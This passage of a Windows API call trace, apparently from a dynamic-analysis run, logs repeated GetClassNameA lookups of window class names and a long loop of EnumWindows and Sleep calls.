hWnd=0x1023e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.748] GetClassNameA (in: hWnd=0x1023c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.748] GetClassNameA (in: hWnd=0x1023a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.749] GetClassNameA (in: hWnd=0x10238, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.749] GetClassNameA (in: hWnd=0x10236, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.749] GetClassNameA (in: hWnd=0x10234, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.749] GetClassNameA (in: hWnd=0x10232, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.749] GetClassNameA (in: hWnd=0x10230, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.749] GetClassNameA (in: hWnd=0x1022c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.749] GetClassNameA (in: hWnd=0x10228, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.749] GetClassNameA (in: hWnd=0x10216, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.749] GetClassNameA (in: hWnd=0x1020a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.749] GetClassNameA (in: hWnd=0x10208, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.749] GetClassNameA (in: hWnd=0x3003a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.749] GetClassNameA (in: hWnd=0x801ea, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.750] GetClassNameA (in: hWnd=0x101d4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.750] GetClassNameA (in: hWnd=0x101c8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.750] GetClassNameA (in: hWnd=0x101ac, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.750] GetClassNameA (in: hWnd=0x1014c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.750] GetClassNameA (in: hWnd=0x1011a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.750] GetClassNameA (in: hWnd=0x100e8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.750] GetClassNameA (in: hWnd=0x100e2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="MSCTFIME UI") returned 11 [0261.750] GetClassNameA (in: hWnd=0x100d8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.750] GetClassNameA (in: hWnd=0xb0038, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.750] GetClassNameA (in: hWnd=0x20040, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.750] GetClassNameA (in: hWnd=0x10070, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0261.750] Sleep (dwMilliseconds=0x64) [0261.804] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.804] GetClassNameA (in: hWnd=0x100da, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Worker Window") returned 13 [0261.805] GetClassNameA (in: hWnd=0x10134, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0261.805] GetClassNameA (in: hWnd=0x200f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0261.805] GetClassNameA (in: hWnd=0x10104, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0261.805] GetClassNameA (in: hWnd=0x10108, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0261.805] GetClassNameA (in: hWnd=0x1010a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0261.805] GetClassNameA (in: hWnd=0x10106, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0261.805] GetClassNameA (in: hWnd=0x10102, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0261.805] GetClassNameA (in: hWnd=0x10100, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0261.805] GetClassNameA (in: hWnd=0x100fe, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0261.805] GetClassNameA (in: hWnd=0x100fc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0261.805] GetClassNameA (in: hWnd=0x10176, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0261.805] GetClassNameA (in: hWnd=0x10168, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0261.805] GetClassNameA (in: hWnd=0x10158, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0261.805] GetClassNameA (in: hWnd=0x100fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0261.805] GetClassNameA (in: hWnd=0x100ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_ImmersiveShellWindow") returned 39 [0261.805] GetClassNameA (in: hWnd=0x1019c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0261.806] GetClassNameA (in: hWnd=0x1018c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-0000000005C32F30-1b01546") returned 36 [0261.806] GetClassNameA (in: hWnd=0x10184, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="RawInputClass") returned 13 [0261.806] GetClassNameA (in: hWnd=0x1017e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0261.806] GetClassNameA (in: hWnd=0x100c8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0261.807] Sleep (dwMilliseconds=0x64) [0261.869] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.870] Sleep (dwMilliseconds=0x64) [0261.893] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.894] Sleep (dwMilliseconds=0x64) [0261.901] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.902] Sleep (dwMilliseconds=0x64) [0261.955] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.955] Sleep (dwMilliseconds=0x64) [0261.964] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0261.964] Sleep (dwMilliseconds=0x64) [0262.079] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.080] Sleep (dwMilliseconds=0x64) [0262.081] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.081] Sleep (dwMilliseconds=0x64) [0262.084] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.084] Sleep (dwMilliseconds=0x64) [0262.086] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.086] Sleep (dwMilliseconds=0x64) [0262.088] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.088] Sleep (dwMilliseconds=0x64) [0262.090] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.090] Sleep (dwMilliseconds=0x64) [0262.092] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.092] Sleep (dwMilliseconds=0x64) [0262.093] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.094] Sleep (dwMilliseconds=0x64) [0262.096] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.096] Sleep (dwMilliseconds=0x64) [0262.098] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.099] Sleep (dwMilliseconds=0x64) [0262.100] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.100] Sleep (dwMilliseconds=0x64) [0262.109] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.109] Sleep (dwMilliseconds=0x64) [0262.116] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.116] Sleep (dwMilliseconds=0x64) [0262.118] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.118] Sleep (dwMilliseconds=0x64) [0262.120] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.120] Sleep (dwMilliseconds=0x64) [0262.122] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.122] Sleep (dwMilliseconds=0x64) [0262.123] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.123] Sleep (dwMilliseconds=0x64) [0262.125] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.125] Sleep (dwMilliseconds=0x64) [0262.127] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.127] Sleep (dwMilliseconds=0x64) [0262.129] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.129] Sleep (dwMilliseconds=0x64) [0262.131] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.132] Sleep (dwMilliseconds=0x64) [0262.133] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.133] Sleep (dwMilliseconds=0x64) [0262.135] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.135] Sleep (dwMilliseconds=0x64) [0262.137] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.137] Sleep (dwMilliseconds=0x64) [0262.139] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.139] Sleep (dwMilliseconds=0x64) [0262.141] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.141] Sleep (dwMilliseconds=0x64) [0262.143] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.143] Sleep (dwMilliseconds=0x64) [0262.145] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.145] Sleep (dwMilliseconds=0x64) [0262.148] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.148] Sleep (dwMilliseconds=0x64) [0262.150] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.150] Sleep (dwMilliseconds=0x64) [0262.152] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.152] Sleep (dwMilliseconds=0x64) [0262.154] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.154] Sleep (dwMilliseconds=0x64) [0262.156] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.156] Sleep (dwMilliseconds=0x64) [0262.158] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.158] Sleep (dwMilliseconds=0x64) [0262.160] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.160] Sleep (dwMilliseconds=0x64) [0262.162] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.162] Sleep (dwMilliseconds=0x64) [0262.164] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.164] Sleep (dwMilliseconds=0x64) [0262.166] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.166] Sleep (dwMilliseconds=0x64) [0262.168] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.168] Sleep (dwMilliseconds=0x64) [0262.170] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.170] Sleep (dwMilliseconds=0x64) [0262.172] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.172] Sleep (dwMilliseconds=0x64) [0262.174] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.174] Sleep (dwMilliseconds=0x64) [0262.176] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.176] Sleep (dwMilliseconds=0x64) [0262.178] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.178] Sleep (dwMilliseconds=0x64) [0262.180] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.180] Sleep (dwMilliseconds=0x64) [0262.182] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.182] Sleep (dwMilliseconds=0x64) [0262.185] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.186] Sleep (dwMilliseconds=0x64) [0262.188] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.188] Sleep (dwMilliseconds=0x64) [0262.189] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.189] Sleep (dwMilliseconds=0x64) [0262.191] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.192] Sleep (dwMilliseconds=0x64) [0262.194] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.194] Sleep (dwMilliseconds=0x64) [0262.196] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.196] Sleep (dwMilliseconds=0x64) [0262.198] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.198] Sleep (dwMilliseconds=0x64) [0262.200] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.200] Sleep (dwMilliseconds=0x64) [0262.202] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.202] Sleep (dwMilliseconds=0x64) [0262.204] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.205] Sleep (dwMilliseconds=0x64) [0262.206] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.207] Sleep (dwMilliseconds=0x64) [0262.208] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.209] Sleep (dwMilliseconds=0x64) [0262.210] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.211] Sleep (dwMilliseconds=0x64) [0262.212] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.213] Sleep (dwMilliseconds=0x64) [0262.214] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.214] Sleep (dwMilliseconds=0x64) [0262.216] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.216] Sleep (dwMilliseconds=0x64) [0262.218] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.218] Sleep (dwMilliseconds=0x64) [0262.220] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.220] Sleep (dwMilliseconds=0x64) [0262.222] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.222] Sleep (dwMilliseconds=0x64) [0262.224] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.225] Sleep (dwMilliseconds=0x64) [0262.226] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.226] Sleep (dwMilliseconds=0x64) [0262.228] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.228] Sleep (dwMilliseconds=0x64) [0262.230] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.231] Sleep (dwMilliseconds=0x64) [0262.232] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.232] Sleep (dwMilliseconds=0x64) [0262.234] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.234] Sleep (dwMilliseconds=0x64) [0262.236] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.236] Sleep (dwMilliseconds=0x64) [0262.238] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.238] Sleep (dwMilliseconds=0x64) [0262.240] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.241] Sleep (dwMilliseconds=0x64) [0262.242] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.243] Sleep (dwMilliseconds=0x64) [0262.244] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.245] Sleep (dwMilliseconds=0x64) [0262.247] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.248] Sleep (dwMilliseconds=0x64) [0262.249] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.249] Sleep (dwMilliseconds=0x64) [0262.251] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.252] Sleep (dwMilliseconds=0x64) [0262.253] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.253] Sleep (dwMilliseconds=0x64) [0262.255] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.255] Sleep (dwMilliseconds=0x64) [0262.257] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.257] Sleep (dwMilliseconds=0x64) [0262.259] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.259] Sleep (dwMilliseconds=0x64) [0262.261] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.261] Sleep (dwMilliseconds=0x64) [0262.269] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.270] Sleep (dwMilliseconds=0x64) [0262.279] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.279] Sleep (dwMilliseconds=0x64) [0262.286] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.286] Sleep (dwMilliseconds=0x64) [0262.288] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.288] Sleep (dwMilliseconds=0x64) [0262.290] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.290] Sleep (dwMilliseconds=0x64) [0262.292] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.292] Sleep (dwMilliseconds=0x64) [0262.296] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.297] Sleep (dwMilliseconds=0x64) [0262.302] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.303] Sleep (dwMilliseconds=0x64) [0262.304] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.304] Sleep (dwMilliseconds=0x64) [0262.306] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.306] Sleep (dwMilliseconds=0x64) [0262.308] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.308] Sleep (dwMilliseconds=0x64) [0262.310] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.311] Sleep (dwMilliseconds=0x64) [0262.312] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.313] Sleep (dwMilliseconds=0x64) [0262.314] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.315] Sleep (dwMilliseconds=0x64) [0262.316] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.317] Sleep (dwMilliseconds=0x64) [0262.319] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.320] Sleep (dwMilliseconds=0x64) [0262.321] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.321] Sleep (dwMilliseconds=0x64) [0262.323] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.323] Sleep (dwMilliseconds=0x64) [0262.325] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.325] Sleep (dwMilliseconds=0x64) [0262.327] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.327] Sleep (dwMilliseconds=0x64) [0262.329] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.330] Sleep (dwMilliseconds=0x64) [0262.332] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.332] Sleep (dwMilliseconds=0x64) [0262.334] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.335] Sleep (dwMilliseconds=0x64) [0262.336] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.336] Sleep (dwMilliseconds=0x64) [0262.338] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.338] Sleep (dwMilliseconds=0x64) [0262.340] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.341] Sleep (dwMilliseconds=0x64) [0262.342] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.342] Sleep (dwMilliseconds=0x64) [0262.345] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.345] Sleep (dwMilliseconds=0x64) [0262.346] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.347] Sleep (dwMilliseconds=0x64) [0262.348] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.349] Sleep (dwMilliseconds=0x64) [0262.350] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.351] Sleep (dwMilliseconds=0x64) [0262.353] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.353] Sleep (dwMilliseconds=0x64) [0262.355] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.355] Sleep (dwMilliseconds=0x64) [0262.357] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.357] Sleep (dwMilliseconds=0x64) [0262.359] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.359] Sleep (dwMilliseconds=0x64) [0262.360] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.361] Sleep (dwMilliseconds=0x64) [0262.362] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.363] Sleep (dwMilliseconds=0x64) [0262.364] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.365] Sleep (dwMilliseconds=0x64) [0262.366] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.367] Sleep (dwMilliseconds=0x64) [0262.368] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.369] Sleep (dwMilliseconds=0x64) [0262.372] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.373] Sleep (dwMilliseconds=0x64) [0262.374] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.375] Sleep (dwMilliseconds=0x64) [0262.376] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.377] Sleep (dwMilliseconds=0x64) [0262.378] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.378] Sleep (dwMilliseconds=0x64) [0262.380] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.380] Sleep (dwMilliseconds=0x64) [0262.388] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.389] Sleep (dwMilliseconds=0x64) [0262.391] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.391] Sleep (dwMilliseconds=0x64) [0262.444] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.445] Sleep (dwMilliseconds=0x64) [0262.447] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.448] Sleep (dwMilliseconds=0x64) [0262.450] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.450] Sleep (dwMilliseconds=0x64) [0262.452] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.452] Sleep (dwMilliseconds=0x64) [0262.454] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.454] Sleep (dwMilliseconds=0x64) [0262.456] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.456] Sleep (dwMilliseconds=0x64) [0262.459] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.459] Sleep (dwMilliseconds=0x64) [0262.461] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.461] Sleep (dwMilliseconds=0x64) [0262.463] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.463] Sleep (dwMilliseconds=0x64) [0262.465] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.465] Sleep (dwMilliseconds=0x64) [0262.467] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.467] Sleep (dwMilliseconds=0x64) [0262.476] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.476] Sleep (dwMilliseconds=0x64) [0262.509] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.509] Sleep (dwMilliseconds=0x64) [0262.517] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.517] Sleep (dwMilliseconds=0x64) [0262.589] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.590] Sleep (dwMilliseconds=0x64) [0262.598] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.599] Sleep (dwMilliseconds=0x64) [0262.607] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.608] Sleep (dwMilliseconds=0x64) [0262.615] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.615] Sleep (dwMilliseconds=0x64) [0262.616] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.617] Sleep (dwMilliseconds=0x64) [0262.619] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.619] Sleep (dwMilliseconds=0x64) [0262.629] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.629] Sleep (dwMilliseconds=0x64) [0262.636] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.636] Sleep (dwMilliseconds=0x64) [0262.720] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.720] Sleep (dwMilliseconds=0x64) [0262.728] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.728] Sleep (dwMilliseconds=0x64) [0262.747] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.748] Sleep (dwMilliseconds=0x64) [0262.758] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.759] Sleep (dwMilliseconds=0x64) [0262.770] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.771] Sleep (dwMilliseconds=0x64) [0262.787] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.788] Sleep (dwMilliseconds=0x64) [0262.859] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.859] Sleep (dwMilliseconds=0x64) [0262.901] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.901] Sleep (dwMilliseconds=0x64) [0262.903] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.903] Sleep (dwMilliseconds=0x64) [0262.922] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.923] Sleep (dwMilliseconds=0x64) [0262.925] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.925] Sleep (dwMilliseconds=0x64) [0262.927] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.927] Sleep (dwMilliseconds=0x64) [0262.935] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.936] Sleep (dwMilliseconds=0x64) [0262.980] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.980] Sleep (dwMilliseconds=0x64) [0262.987] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0262.988] Sleep (dwMilliseconds=0x64) [0263.061] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.062] Sleep (dwMilliseconds=0x64) [0263.070] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.071] Sleep (dwMilliseconds=0x64) [0263.078] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.079] Sleep (dwMilliseconds=0x64) [0263.080] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.081] Sleep (dwMilliseconds=0x64) [0263.082] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.083] Sleep (dwMilliseconds=0x64) [0263.084] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.085] Sleep (dwMilliseconds=0x64) [0263.087] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.087] Sleep (dwMilliseconds=0x64) [0263.089] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.089] Sleep (dwMilliseconds=0x64) [0263.091] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.091] Sleep (dwMilliseconds=0x64) [0263.108] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0263.108] Sleep (dwMilliseconds=0x64) [0263.115] 